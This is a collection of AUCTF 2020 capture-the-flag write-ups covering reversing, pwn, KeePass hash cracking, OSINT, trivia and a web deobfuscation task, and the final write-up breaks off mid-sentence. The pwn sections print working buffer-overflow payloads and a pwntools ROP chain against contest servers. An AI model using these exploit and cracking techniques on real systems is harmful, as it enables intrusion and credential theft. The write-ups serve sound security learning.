[mr_game_and_watch.class](mr.%20game%20and%20watch/mr_game_and_watch.class)** ### Solution:First, we need to decompile the .class file to get its java source .. i used [CFR java decompiler](https://www.benf.org/other/cfr/): ```bash$ java -jar ~/cfr-0.149.jar mr_game_and_watch.class > mr_game_and_watch.java``` and this was the resulting source code: ```javaimport java.io.BufferedReader;import java.io.FileReader;import java.io.IOException;import java.security.MessageDigest;import java.util.Arrays;import java.util.Scanner; public class mr_game_and_watch { public static String secret_1 = "d5c67e2fc5f5f155dff8da4bdc914f41"; public static int[] secret_2 = new int[]{114, 118, 116, 114, 113, 114, 36, 37, 38, 38, 120, 121, 33, 36, 37, 113, 117, 118, 118, 113, 33, 117, 121, 37, 119, 34, 118, 115, 114, 120, 119, 114, 36, 120, 117, 120, 38, 114, 35, 118}; public static int[] secret_3 = new int[]{268, 348, 347, 347, 269, 256, 348, 269, 256, 256, 344, 271, 271, 264, 266, 348, 257, 266, 267, 348, 269, 266, 266, 344, 267, 270, 267, 267, 348, 349, 349, 265, 349, 267, 256, 269, 270, 349, 268, 271, 351, 349, 347, 269, 349, 271, 257, 269, 344, 351, 265, 351, 265, 271, 346, 271, 266, 264, 351, 349, 351, 271, 266, 266}; public static int key_2 = 64; public static int key_3 = 313; public static void main(String[] arrstring) { System.out.println("Welcome to the Land of Interpreted Languages!"); System.out.println("If you are used to doing compiled languages this might be a shock... but if you hate assembly this is the place to be!"); System.out.println("\nUnfortunately, if you hate Java, this may suck..."); System.out.println("Good luck!\n"); if (mr_game_and_watch.crackme()) { mr_game_and_watch.print_flag(); } } private static boolean crackme() { Scanner scanner = new Scanner(System.in); if (mr_game_and_watch.crack_1((Scanner)scanner) && mr_game_and_watch.crack_2((Scanner)scanner) && mr_game_and_watch.crack_3((Scanner)scanner)) { System.out.println("That's correct!"); scanner.close(); return true; } System.out.println("Nope that's not right!"); scanner.close(); return false; } private static boolean crack_1(Scanner scanner) { System.out.println("Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this"); System.out.println("\t" + secret_1); System.out.print("Think you can crack it? If so give me the value that hashes to that!\n\t"); String string = scanner.nextLine(); String string2 = mr_game_and_watch.hash((String)string, (String)"MD5"); return string2.compareTo(secret_1) == 0; } private static boolean crack_2(Scanner scanner) { System.out.println("Nice work! One down, two to go ..."); System.out.print("This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out!\n\t"); String string = scanner.nextLine(); return mr_game_and_watch.hash((String)string, (String)"SHA1").compareTo(mr_game_and_watch.decrypt((int[])secret_2, (int)key_2)) == 0; } private static boolean crack_3(Scanner scanner) { System.out.print("Nice work! Here's the last one...\n\t"); String string = scanner.nextLine(); String string2 = mr_game_and_watch.hash((String)string, (String)"SHA-256"); int[] arrn = mr_game_and_watch.encrypt((String)string2, (int)key_3); return Arrays.equals(arrn, secret_3); } private static int[] encrypt(String string, int n) { int[] arrn = new int[string.length()]; for (int i = 0; i < string.length(); ++i) { arrn[i] = string.charAt(i) ^ n; } return arrn; } private static String decrypt(int[] arrn, int n) { Object object = ""; for (int i = 0; i < arrn.length; ++i) { object = (String)object + (char)(arrn[i] ^ n); } return object; } private static void print_flag() { String string = "flag.txt"; try (BufferedReader bufferedReader = new BufferedReader(new FileReader(string));){ String string2; while ((string2 = bufferedReader.readLine()) != null) { System.out.println(string2); } } catch (IOException iOException) { System.out.println("Could not find file please notify admin"); } } public static String hash(String string, String string2) { String string3 = null; try { MessageDigest messageDigest = MessageDigest.getInstance(string2); byte[] arrby = messageDigest.digest(string.getBytes("UTF-8")); StringBuilder stringBuilder = new StringBuilder(2 * arrby.length); for (byte by : arrby) { stringBuilder.append(String.format("%02x", by & 0xFF)); } string3 = stringBuilder.toString(); } catch (Exception exception) { System.out.println("broke"); } return string3; }}``` After reading the source code we clearly see that in order to call print_flag() function crackme() function MUST return true which will happen only if crack_1(), crack_2() and crack_3() functions are true .. So let's make those guys true! - crack_1():``` java private static boolean crack_1(Scanner scanner) { System.out.println("Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this"); System.out.println("\t" + secret_1); System.out.print("Think you can crack it? If so give me the value that hashes to that!\n\t"); String string = scanner.nextLine(); String string2 = mr_game_and_watch.hash((String)string, (String)"MD5"); return string2.compareTo(secret_1) == 0; }``` That's easy .. the input gets encrypted using MD5 and then compared to secret_1 variable if they're equal it returns truewe need to decrypt secret_1 value and that will be our first key! I used this [site](https://hashtoolkit.com/decrypt-hash/) for that: <div align="center"></div> Nice! `masterchief` is our first input we got one .. two to go! - crack_2():```java private static boolean crack_2(Scanner scanner) { System.out.println("Nice work! One down, two to go ..."); System.out.print("This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out!\n\t"); String string = scanner.nextLine(); return mr_game_and_watch.hash((String)string, (String)"SHA1").compareTo(mr_game_and_watch.decrypt((int[])secret_2, (int)key_2)) == 0; }``` Well, here it takes our input -> encrypt it using SHA1 -> compare it to the decrypted secret_2 value using decrypt() function Now by thinking reverse! we need to: decrypt secret_2 value -> decrypt the result using SHA1 -> and that's our input! The equivalent python code of decrypt() function is: ```pythonsecret = [114, 118, 116, 114, 113, 114, 36, 37, 38, 38, 120, 121, 33, 36, 37, 113, 117, 118, 118, 113, 33, 117, 121, 37, 119, 34, 118, 115, 114, 120, 119, 114, 36, 120, 117, 120, 38, 114, 35, 118] key = 64 def decrypt(a, k): result = "" for i in range (0, len(a)): result += chr(a[i] ^ k) return result print(decrypt(secret, key))``` Now running it: ```bash$ python3 decrypt.py264212deff89ade15661a59e7b632872d858f2c6``` Now decrypting this SHA1 using the same [site](https://hashtoolkit.com/decrypt-hash/): <div align="center"></div> Great! `princesspeach` is our second input .. only one left! - crack_3():```java private static boolean crack_3(Scanner scanner) { System.out.print("Nice work! Here's the last one...\n\t"); String string = scanner.nextLine(); String string2 = mr_game_and_watch.hash((String)string, (String)"SHA-256"); int[] arrn = mr_game_and_watch.encrypt((String)string2, (int)key_3); return Arrays.equals(arrn, secret_3); }``` So it takes our input -> encrypt it using SHA256 -> encrypt it using encrypt() function -> compare the result with secret_3 array thinking reverse we should: take the secret_3 array -> decrypt it using the reverse of encrypt() function -> decrypt the resulting SHA256 hash The encrypt() function just XOR each character with 313 value and that's the equivalent python code:```pythonsecret = [268, 348, 347, 347, 269, 256, 348, 269, 256, 256, 344, 271, 271, 264, 266, 348, 257, 266, 267, 348, 269, 266, 266, 344, 267, 270, 267, 267, 348, 349, 349, 265, 349, 267, 256, 269, 270, 349, 268, 271, 351, 349, 347, 269, 349, 271, 257, 269, 344, 351, 265, 351, 265, 271, 346, 271, 266, 264, 351, 349, 351, 271, 266, 266] key = 313 def decrypt(a, n): myStr = "" for i in range (0, len(a)): myStr += chr(a[i] ^ key) return myStr print(decrypt(secret, key))``` Now running it:```bash$ python3 decrypt2.py5ebb49e499a6613e832e433a2722edd0d2947d56fdb4d684af0f06c631fdf633``` Then i used this [site](https://md5decrypt.net/en/Sha256/) to decrypt the result: <div align="center"></div> Finally! Our third input is `solidsnake` Now connecting to the server:```$ nc challenges.auctf.com 30001 Welcome to the Land of Interpreted Languages!If you are used to doing compiled languages this might be a shock... but if you hate assembly this is the place to be! Unfortunately, if you hate Java, this may suck...Good luck! Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this d5c67e2fc5f5f155dff8da4bdc914f41Think you can crack it? If so give me the value that hashes to that! masterchiefNice work! One down, two to go ...This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out! princesspeachNice work! Here's the last one... solidsnakeThat's correct!auctf{If_u_h8_JAVA_and_@SM_try_c_sharp_2922}``` Flag: `auctf{If_u_h8_JAVA_and_@SM_try_c_sharp_2922}` --- ## Sora#### Reversing ### Description:> **This obnoxious kid with spiky hair keeps telling me his key can open all doors.> Can you generate a key to open this program before he does?> Connect to challenges.auctf.com 30004> [sora](sora/sora)** ### Solution:As usual using `file` command it appears it's a 64-bit ELF file, dynamically linked and not strippedand with `strings` command we find an interesting part: ```$ strings sora..aQLpavpKQcCVpfcgGive me a key!That's not it!flag.txtToo bad you can only run this exploit on the server.....``` as a first assumption maybe `aQLpavpKQcCVpfcg` string is some sort of an encrypted key or something Alright, let's put this into radare2```$ r2 -AA sora[0x00001140]> afl..0x000012dd 7 171 sym.encrypt0x00001430 4 101 sym.__libc_csu_init0x00001229 6 180 main.. [0x00001140]> s main[0x00001229]> VV```In the visual mode we can see the encrypt() function gets called after the user enters an input: <div align="center"></div> If eax register does NOT equal zero then it prints the flag .. whatever happens in encrypt() function it MUST returns a non-zero value Now moving to IDA pro to see the decompilation of encrypt() function: <div align="center"></div> The function simply encrypts the character and if it doesn't equal the equivalent character in the secret variable it return 0 which we don't want to happen the secret variable has the value of our interesting string `aQLpavpKQcCVpfcg`: <div align="center"></div> Now i wrote this python script which iterates through each character in the secret variable string and finds the printable character that satisfies the if condition: ```pythonsecret = "aQLpavpKQcCVpfcg" def getkeychar(a): # iterates through the printable characters only for x in range(ord(' '), ord('~')): if chr((8 * x + 19)%61 + 65) == a: return chr(x) key = ""for i in range (0, len(secret)): key += getkeychar(secret[i]) print(key) ``` Now running it gives us the key:```$ python3 key.py75<"72"%5($."0(G``` Now connecting to the server:```$ nc challenges.auctf.com 30004Give me a key!75<"72"%5($."0(Gauctf{that_w@s_2_ezy_29302}``` Flag: `auctf{that_w@s_2_ezy_29302}` --- ## Don't Break Me#### Reversing ### Description:> **I've been working on my anti-reversing lately. See if you can get this flag!> Connect at challenges.auctf.com 30005> [dont_break_me](don't%20break%20me/dont_break_me)** ### Solution:Alright, with `file` command we know it's 32-bit ELF file, dynamically linked and not stripped .. and with `strings` command there's nothing interesting Now it's time for radare2: ```$ r2 -AA dont-break-me[0x000010e0]> afl..0x000015a1 7 224 sym.decrypt0x0000138a 6 102 sym.get_string0x000014cf 7 210 sym.encrypt0x00001681 6 117 sym.inverse0x00001272 4 280 main..``` Those function names sound interesting let's start with main() function: <div align="center"></div> It seems that the program takes the user input then removes the newline character at the end, then pushes it as an argument to encrypt() function and put the result in s2 variable .. after that it allocates a new memory using calloc() built-in function and returns the address to s1 which is passed to get_string() function as an argument to load a string .. afterwards there's a compare so s1 MUST be equal s2 So overall we need to reverse that as follows:- See the get_string() function and get the string which is loaded to s1- Decrypt that string using decrypt() function- Input the result in order to get the flag So far so good .. we'll start with decompiling get_string() function using IDA pro: <div align="center"></div> It's clear that it iterates from 0 to 31 and with this if condition it only loads the even indexed characters (e.x. 0, 2, 4, ...) from blah variable **backwoards** in the a1 variable And this is the value of blah variable: <div align="center"></div> Which is `XAPRMXCSBCEDISBVXISXWERJRWSZARSQ` Next, the decrypt() function: <div align="center"></div> Clearly, it takes the user input string with two argument which, from analysing the code, are 12, 17 consecutively then iterates through each character and decrypt it using a formula which appears to be the [Affine Cipher](https://en.wikipedia.org/wiki/Affine_cipher) Finally the inverse() function: <div align="center"></div> Simple enough! .. Now by combining our understanding of the previous functions i came up with this python script which is equivalent of all we said```pythondef get_string(s): u = list(s) result = [] for i in range (0, len(u)): if i % 2 == 0: result.append(u[i]) result.reverse() return ''.join(result) def inverse(a): n = 0 for i in range (0, 26): if i * a % 26 == 1: n = i return n def decrypt(s, a, k): x = "" inv = inverse(a) for i in s: # check if the character is a space if ord(i) == 32: x += i else: x += chr(inv * (ord(i) + 65 - k)%26 + 65) return x secret = "XAPRMXCSBCEDISBVXISXWERJRWSZARSQ"a = 17k = 12 secret = get_string(secret) key = decrypt(secret, a, k) print(key)``` Now by running this script it should give us the key: ```$ python3 decrypt.pyIKILLWITHMYHEART``` Now connecting to the server: ```$ nc challenges.auctf.com 3000554 68 65 20 6d 61 6e 20 69 6e 20 62 6c 61 63 6b 20 66 6c 65 64 20 61 63 72 6f 73 73 20 74 68 65 20 64 65 73 65 72 74 2c 20 61 6e 64 20 74 68 65 20 67 75 6e 73 6c 69 6e 67 65 72 20 66 6f 6c 6c 6f 77 65 64 2eInput: IKILLWITHMYHEARTauctf{static_or_dyn@mIc?_12923}``` Flag: `auctf{static_or_dyn@mIc?_12923}` --- ## Thanksgiving Dinner#### Pwn ### Description:> **I just ate a huge dinner. I can barley eat anymore... so please don't give me too much!> nc challenges.auctf.com 30011> Note: ASLR is disabled for this challenge> [turkey](thanksgiving%20dinner/turkey)** ### Solution:Nice! by doing `file` command we know it's 32-bit ELF file, dynamically linked and not strippedand with `strings` command nothing really interesting And with radare2:```$ r2 -AA turkey[0x000010c0]> afl..0x000011f9 1 87 main0x00001250 7 198 sym.vulnerable..``` Those are interesting functions .. the main only puts a text and then calls vulnerable() function which makes 5 checks if they're all true it prints out the flag!: <div align="center"></div> We go to gdb-peda for a better memory examine and debugging: ```gdb-peda$ set disassembly-flavor intelgdb-peda$ disass vulnerable``` <div align="center"></div> We see fgets length is 0x24 which is 36, so we put a breakpoint after fgets that will allow us to examine the memory right after we enter the input. And by running the file and enters `AAAA` as input: <div align="center"></div> We can see that eax register is pointing to 0xbffff14c address and by examining the memory at this location and all the addresses in the comparisons: <div align="center"></div> GREAT! Now we can overwrite those values to pass the checks .. and these are the 5 checks: <div align="center"></div> - ![Red](https://placehold.it/15/ff0000/000000?text=+) 0xbffff16c MUST EQUAL 0x1337- ![Green](https://placehold.it/15/00ff00/000000?text=+) 0xbffff168 MUST BE LESS THAN 0xffffffec (= -20)- ![Yellow](https://placehold.it/15/ffff00/000000?text=+) 0xbffff160 MUST NOT EQUAL 0x14- ![Pink](https://placehold.it/15/ff00ff/000000?text=+) 0xbffff164 MUST EQUAL 0x667463- ![Orange](https://placehold.it/15/ff6600/000000?text=+) 0xbffff15c MUST EQUAL 0x2a Now our payload is: ```python>>> from pwn import p32>>> 'A'*16 + p32(0x2a) + p32(0x20) + p32(0x667463) + p32(0xffffffec - 10) + p32(0x1337)'AAAAAAAAAAAAAAAA*\x00\x00\x00 \x00\x00\x00ctf\x00\xe2\xff\xff\xff7\x13\x00\x00'``` Now we can pipe it to the server: ```$ python -c "print 'AAAAAAAAAAAAAAAA*\x00\x00\x00 \x00\x00\x00ctf\x00\xe2\xff\xff\xff7\x13\x00\x00'" | nc challenges.auctf.com 30011Hi!Welcome to my program... it's a little buggy...Hey I heard you are searching for flags! Well I've got one. :)Here you can have part of it!auctf{ Sorry that's all I got! Wait... you aren't supposed to be here!!auctf{I_s@id_1_w@s_fu11!}``` Flag: `auctf{I_s@id_1_w@s_fu11!}`
# AUCTF 2020 – Manager * **Category:** password cracking* **Points:** 760 ## Challenge > There might be a flag inside this file. The password is all digits.> > NOTE: The flag is NOT in the standard auctf{} format> > Author: OG_Commando ## Solution The challenge gives you a [KeePass archive](https://github.com/m3ssap0/CTF-Writeups/raw/master/AUCTF%202020/Manager/manager.kdbx). You can use John the Ripper to produce the [hash](https://github.com/m3ssap0/CTF-Writeups/raw/master/AUCTF%202020/Manager/manager.hash) and to crack it. ```root@m3ss4p0:~# keepass2john manager.kdbx > manager.hashroot@m3ss4p0:~# cat manager.hash manager:$keepass$*2*60000*0*f31bf71589af9d69d3a9d58b97755405de93aedfbefe244129bb5ac64ed8af41*2f0e592de948bbc65eb9738af2daca231ae54c851ceb1e98f16a69e8f5f48336*8a868c9aedf169c857a8734188bba8eb*8f12fb161ef9e102ef805b84f5ee733c2a645b71099cbf8dab1ed750c58756ee*34fe5cf5eb7991a826a71c3330f88ce9c5ed7cf0e041e4e50a24110d2a69cdd7root@m3ss4p0:~# john --format:keepass --incremental=digits manager.hash Created directory: /root/.johnUsing default input encoding: UTF-8Loaded 1 password hash (KeePass [SHA256 AES 32/64])Cost 1 (iteration count) is 60000 for all loaded hashesCost 2 (version) is 2 for all loaded hashesCost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashesPress 'q' or Ctrl-C to abort, almost any other key for status157865 (manager)1g 0:03:31:46 DONE (2020-04-05 04:48) 0.000078g/s 88.74p/s 88.74c/s 88.74C/s 157865Use the "--show" option to display all of the cracked passwords reliablySession completedroot@m3ss4p0:~# john --show manager.hashmanager:157865 1 password hash cracked, 0 left``` The flag into the KeePass archive is the following. ```y0u4r34r34lh4ck3rn0w#!$1678```
# AUCTF 2020 – Polar Bears * **Category:** sequence* **Points:** 50 ## Challenge > Time to put your problem solving skills to work! Finish the sequence!> > NOTE: The flag is NOT in the standard auctf{} format> > 4, 8, 15, _, _, _> > flag format - comma separated list 1, 2, 3> > author: c ## Solution Searching on Google, it seems that `4 8 15 16 23 42` sequence is famous in the *Lost* TV show. So the flag is the following. ```16, 23, 42```
# AUCTF 2020 – Pi Day * **Category:** sequence* **Points:** 50 ## Challenge > Time to put your problem solving skills to work! Finish the sequence!> > 14, 15, 92, 65, 35, __, __, __, __, __> > NOTE: The flag is NOT in the standard auctf{} format> > flag format - comma separated list 1, 2, 3, 4, 5> > Author: FireKing ## Solution First numbers of Pi are: `3, 14 15 92 65 35 89 79 32 38 46 ...`, so the flag is the following. ```89, 79, 32, 38, 46```
# AUCTF 2020 – Web 2 * **Category:** trivia* **Points:** 50 ## Challenge > This web attack takes advantage of web applications that can perform actions input by trusted users without requiring any form of authorization from the user allowing an attacker to perform actions through another user.> > NOTE: The flag is NOT in the standard auctf{} format> > Author: FireKing ## Solution ```Cross Site Request Forgery```
# AUCTF 2020 – OSINT 2 * **Category:** trivia* **Points:** 607 ## Challenge > Although most federal agencies are involved in OSINT collection there is one federal agency that is the focal point for the exploitation of open source material. They primarily provide information to important government figures. Also what year was it founded?> > NOTE: The flag is NOT in the standard auctf{} format> > flag format - agency:year> > Author: FireKing ## Solution According to [https://en.wikipedia.org/wiki/Open_Source_Center#History](https://en.wikipedia.org/wiki/Open_Source_Center#History), the flag is the following. ```DNI Open Source Center:2005```
# AUCTF 2020 – ALIedAS About Some Thing * **Category:** OSINT* **Points:** 903 ## Challenge > See what you can find.> > AUCTFShh> > Author: c ## Solution You can use [*UserFinder*](https://github.com/tr4cefl0w/userfinder) to search the given string, in order to discover if it is used as a username. ```user@machine:~/tools/userfinder$ python3 userfinder.py AUCTFShh _ _ _____ _ _| | | |___ ___ _ __| ___(_)_ __ __| | ___ _ __| | | / __|/ _ \ '__| |_ | | '_ \ / _` |/ _ \ '__|| |_| \__ \ __/ | | _| | | | | | (_| | __/ | \___/|___/\___|_| |_| |_|_| |_|\__,_|\___|_| by tr4cefl0w [*] Searching...[+] Profile found: https://twitter.com/AUCTFShh[+] Profile found: https://www.reddit.com/user/AUCTFShh[+] Profile found: https://steamcommunity.com/id/AUCTFShh[+] Profile found: https://imgur.com/user/AUCTFShh[+] Profile found: https://open.spotify.com/user/AUCTFShh[+] Profile found: https://www.skyscanner.fr/?previousCultureSource=GEO_LOCATION&redirectedFrom=www.skyscanner.net``` On Steam (`https://steamcommunity.com/id/AUCTFShh`) you can discover that the user has an alias: `youllneverfindmese`. So you can try to search for it. ```user@machine:~/tools/userfinder$ python3 userfinder.py youllneverfindmese | | | |___ ___ _ __| ___(_)_ __ __| | ___ _ __| | | / __|/ _ \ '__| |_ | | '_ \ / _` |/ _ \ '__|| |_| \__ \ __/ | | _| | | | | | (_| | __/ | \___/|___/\___|_| |_| |_|_| |_|\__,_|\___|_| by tr4cefl0w [*] Searching...[+] Profile found: https://twitter.com/youllneverfindmese[+] Profile found: https://imgur.com/user/youllneverfindmese[+] Profile found: https://open.spotify.com/user/youllneverfindmese[+] Profile found: https://pastebin.com/u/youllneverfindmese[+] Profile found: https://www.skyscanner.fr/?previousCultureSource=GEO_LOCATION&redirectedFrom=www.skyscanner.net``` The Pastebin account (`https://pastebin.com/u/youllneverfindmese`) contains an interesting untitled file: `https://pastebin.com/qMRYqzYB`. The content of the file is the following. ```https://devs-r-us.xyz/jashbsdfh1j2345566bqiuwhwebjhbsd/flag.txt``` Connecting to the webpage will give you the flag. ```auctf{4li4s3s_w0nT_5t0p_m3_6722df34df}```
# House of Madness ## Description > Welcome to the House of Madness. Can you pwn your way to the keys to get the relic?> > nc challenges.auctf.com 30012> > Note: ASLR is disabled for this challenge The corresponding binary is given. ## Solution Let's connect to the server and play a little bit with the game. We can enter rooms, get information about them. Most rooms are uninteresting, except room 4, which allow us to enter input and echoes it back. Plus when trying to quit the game, it prompts us to try to enter `Stephen` in room 4, and then we get to a hidden room, where we can also give an input. ![HouseMadness](../images/housemadness.png) Let's reverse the binary with [Ghidra](https://ghidra-sre.org/) to find vulnerabilities. Most functions behave as they should, and there are no input vulnerabilities such as buffer overflow or format strings, except for the input we can insert in the hidden room. ```cvoid room4(void){ int iVar1; char local_2c [16]; char local_1c [20]; puts("Wow this room is special. It echoes back what you say!"); while( true ) { if (unlockHiddenRoom4 != '\0') { puts("Welcome to the hidden room! Good Luck"); printf("Enter something: "); gets(local_1c); return; } printf("Press Q to exit: "); fgets(local_2c,0x10,stdin); remove_newline(local_2c); printf("\tYou entered \'%s\'\n",local_2c); iVar1 = strcmp(local_2c,"Q"); if (iVar1 == 0) break; iVar1 = strcmp(local_2c,"Stephen"); if (iVar1 == 0) { unlockHiddenRoom4 = '\x01'; } } return;}``` Indeed, input in the hidden room is read with `gets` which is vulnerable to buffer overflows. We see a function `get_flag`, so let's jump there with our buffer overflow. Sadly this is not that easy, as several checks are performed before printing the flag. As the flag is opened before the checks, we cannot bypass them by jumping in the middle of function. So let's try to get those checks true. ```cvoid get_flag(void){ int iVar1; char local_60 [64]; FILE *local_20; local_20 = fopen("flag.txt","r"); if (local_20 == (FILE *)0x0) { puts("\'flag.txt\' missing in the current directory!"); /* WARNING: Subroutine does not return */ exit(0); } if ((((key1 != '\0') && (key2 != '\0')) && (iVar1 = strcmp(key3,"Dormammu"), iVar1 == 0)) && ((key4._4_4_ ^ 0x537472 | (uint)key4 ^ 0x616e6765) == 0)) { fgets(local_60,0x40,local_20); printf("Damn you beat the house: %s\n",local_60); return; } if (((key1 != '\0') && (key2 != '\0')) && (iVar1 = strcmp(key3,"Dormammu"), iVar1 == 0)) { printf("Surrender, Stephen. Surrender to the reverser"); return; } if ((key1 == '\0') || (key2 == '\0')) { printf("It\'s not going to be that easy. Come on"); } else { puts("You think you are ready? You are ready when the relic decides you are ready."); } return;}``` There are 4 steps:- setting `key1` to a non zero value- setting `key2` to a non zero value- setting `key3` to `Dormammu`- setting `key4` to a defined value. Hopefully, we can see that several functions do this for us: ```cvoid get_key1(int param_1){ int iVar1; iVar1 = __x86.get_pc_thunk.ax(); if ((*(char *)(iVar1 + 0x296b) == '\x01') || (param_1 != -0x1123f22)) { if (*(char *)(iVar1 + 0x296b) == '\x01') { if (*(char *)(iVar1 + 0x296b) == '\0') { puts((char *)(iVar1 + 0xcf6)); } else { puts((char *)(iVar1 + 0xcd9)); } } else { puts((char *)(iVar1 + 0xc76)); } } else { *(undefined *)(iVar1 + 0x296c) = 1; } return;} void get_key2(void){ int iVar1; if ((key1 != '\x01') && (iVar1 = strcmp(key3,"Dormammu"), iVar1 == 0)) { key2 = 1; return; } puts("Need to get the right keys. Reverse the house harder"); return;} void set_key4(void){ int iVar1; if ((((isInRoom != '\x01') && (key1 != '\0')) && (key2 != '\0')) && (iVar1 = strcmp(key3,"Dormammu"), iVar1 == 0)) { key4._0_4_ = 0x616e6765; key4._4_4_ = 0x537472; return; } puts("Need to get the right keys. Reverse the house harder"); return;} void AAsDrwEk(void){ int iVar1; iVar1 = __x86.get_pc_thunk.ax(); *(int *)(iVar1 + 0x286b) = iVar1 + 0xc40; return;}``` So we can see that we need to call them in the correct order:- first call `AAsDrwEk` to set `key3` (we see with a debugger that the string `Dormammu` is located at `iVar1 + 0xc40` and `iVar1 + 0x286b` is `key3`)- second call is `get_key2` because it needs `key1` to not be `1`. It sets `key2` to `1`- third call is to `get_key1`, and we should provide it an argument (on the stack) to be `0xfeedc0de`.- fourth call is to `set_key4`, which require all previous arguments to be set in order to set `key4` to the correct value.- last, we can call `get_flag`. Therefore our payload to overflow the return address is the following:- some characters to overflow the buffer, other local variables on the stack and the `ebp` pointer. Next value will be the return value.- address of `AAsDrwEk`- address of `get_key2`- address of `get_key1`. We need to give it an argument, and by debugging we see that it fetches the value of the argument two values deeper in the stack- this place will be the function called after `get_key1`. As we're pushing an argument on the stack, we want to remove it, so let's use a gadget here.- `0xfeedc0de` as argument to `get_key1`- address of `set_key4`- address of `get_flag` As we're pushing an argument on the stack, we'll want to pop it. To this end let's use a [gadget](https://en.wikipedia.org/wiki/Return-oriented_programming) to pop a value on the stack. To find one, we use [ROPGadget](https://github.com/JonathanSalwan/ROPgadget). ![ROPGadget](../images/housemadness_rop.png) With this we find our gadget (we need to add the constant offset but this is known with `gdb`). Finally we have our chain! ```pythonfrom pwn import * sh = remote("challenges.auctf.com", 30012) # First get to hidden roomprint(sh.recvuntil("Your choice:").decode())sh.sendline("2")print(sh.recvuntil("Choose a room to enter:").decode())sh.sendline("4")print(sh.recvuntil("Your choice:").decode())sh.sendline("3")print(sh.recvuntil("Press Q to exit:").decode())sh.sendline("Stephen")print(sh.recvuntil("Enter something:").decode()) # Craft payload AAsDrwEk = 0x565567cdget_key1 = 0x565566deget_key2 = 0x5655676eget_flag = 0x5655686bpopgadget = 0x5655601eset_key4 = 0x565567e9feedcode = 0xfeedc0de payload = b'0'*28 + p32(AAsDrwEk) + p32(get_key2) + p32(get_key1) + p32(popgadget) + p32(feedcode) + p32(set_key4) + p32(get_flag)print(payload)sh.sendline(payload)sh.interactive()``` Flag: `auctf{gu3ss_th3_h0us3_1sn't_th4t_m4d}`
# AUCTF 2020 – gg no re * **Category:** web* **Points:** 50 ## Challenge > http://challenges.auctf.com:30022> > A junior dev built this site but we want you to test it before we send it to production.> > Author: shinigami ## Solution Analyzing the HTML of the page, you can discover a [JavaScript script](https://github.com/m3ssap0/CTF-Writeups/raw/master/AUCTF%202020/gg%20no%20re/authentication.js). ```html<html> <head> <script>authentication.js</script> </head> <body> <center><h1>Nothing to see here</h1></center> </body></html>``` The code at `http://challenges.auctf.com:30022/authentication.js` is obfuscated. ```javascriptvar _0x44ff=['TWFrZSBhIEdFVCByZXF1ZXN0IHRvIC9oaWRkZW4vbmV4dHN0ZXAucGhw','aW5jbHVkZXM=','bGVuZ3Ro','bG9n'];(function(_0x43cf52,_0x44ff2a){var _0x2ad1c9=function(_0x175747){while(--_0x175747){_0x43cf52['push'](_0x43cf52['shift']());}};_0x2ad1c9(++_0x44ff2a);}(_0x44ff,0x181));var _0x2ad1=function(_0x43cf52,_0x44ff2a){_0x43cf52=_0x43cf52-0x0;var _0x2ad1c9=_0x44ff[_0x43cf52];if(_0x2ad1['UmZuYF']===undefined){(function(){var _0x4760ee=function(){var _0x335dc0;try{_0x335dc0=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x3b3b3e){_0x335dc0=window;}return _0x335dc0;};var _0x1ecd5c=_0x4760ee();var _0x51e136='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x1ecd5c['atob']||(_0x1ecd5c['atob']=function(_0x218781){var _0x1c7e70=String(_0x218781)['replace'](/=+$/,'');var _0x1fccf7='';for(var _0x2ca4ce=0x0,_0x55266e,_0x546327,_0x17b8a3=0x0;_0x546327=_0x1c7e70['charAt'](_0x17b8a3++);~_0x546327&&(_0x55266e=_0x2ca4ce%0x4?_0x55266e*0x40+_0x546327:_0x546327,_0x2ca4ce++%0x4)?_0x1fccf7+=String['fromCharCode'](0xff&_0x55266e>>(-0x2*_0x2ca4ce&0x6)):0x0){_0x546327=_0x51e136['indexOf'](_0x546327);}return _0x1fccf7;});}());_0x2ad1['hdhzHi']=function(_0x5d9b5f){var _0x24b0b1=atob(_0x5d9b5f);var _0x5c5f21=[];for(var _0x390988=0x0,_0xd8eac0=_0x24b0b1['length'];_0x390988<_0xd8eac0;_0x390988++){_0x5c5f21+='%'+('00'+_0x24b0b1['charCodeAt'](_0x390988)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x5c5f21);};_0x2ad1['wrYKfR']={};_0x2ad1['UmZuYF']=!![];}var _0x175747=_0x2ad1['wrYKfR'][_0x43cf52];if(_0x175747===undefined){_0x2ad1c9=_0x2ad1['hdhzHi'](_0x2ad1c9);_0x2ad1['wrYKfR'][_0x43cf52]=_0x2ad1c9;}else{_0x2ad1c9=_0x175747;}return _0x2ad1c9;};function authenticate(_0x335dc0){if(validate(_0x335dc0)){console[_0x2ad1('0x2')](_0x2ad1('0x3'));}};function validate(_0x3b3b3e){return _0x3b3b3e[_0x2ad1('0x1')]>=0x5&&_0x3b3b3e[_0x2ad1('0x0')]('$');}``` The initial array contains base64 encoded strings. ```javascriptvar _0x44ff=['TWFrZSBhIEdFVCByZXF1ZXN0IHRvIC9oaWRkZW4vbmV4dHN0ZXAucGhw','aW5jbHVkZXM=','bGVuZ3Ro','bG9n'];``` Decoding them, you will obtain the following. ```javascriptvar _0x44ff=['Make a GET request to /hidden/nextstep.php','includes','length','log'];``` So you can discover another endpoint: `http://challenges.auctf.com:30022/hidden/nextstep.php` to contact. ```GET /hidden/nextstep.php HTTP/1.1Host: challenges.auctf.com:30022User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1 HTTP/1.1 200 OKDate: Fri, 03 Apr 2020 22:51:00 GMTServer: Apache/2.4.25 (Debian)X-Powered-By: PHP/7.0.33ROT13: Znxr n CBFG erdhrfg gb /ncv/svany.cucContent-Length: 15Connection: closeContent-Type: text/html; charset=UTF-8 Howdy neighbor!``` The HTTP response contains a ROT13 encrypted message in HTTP headers 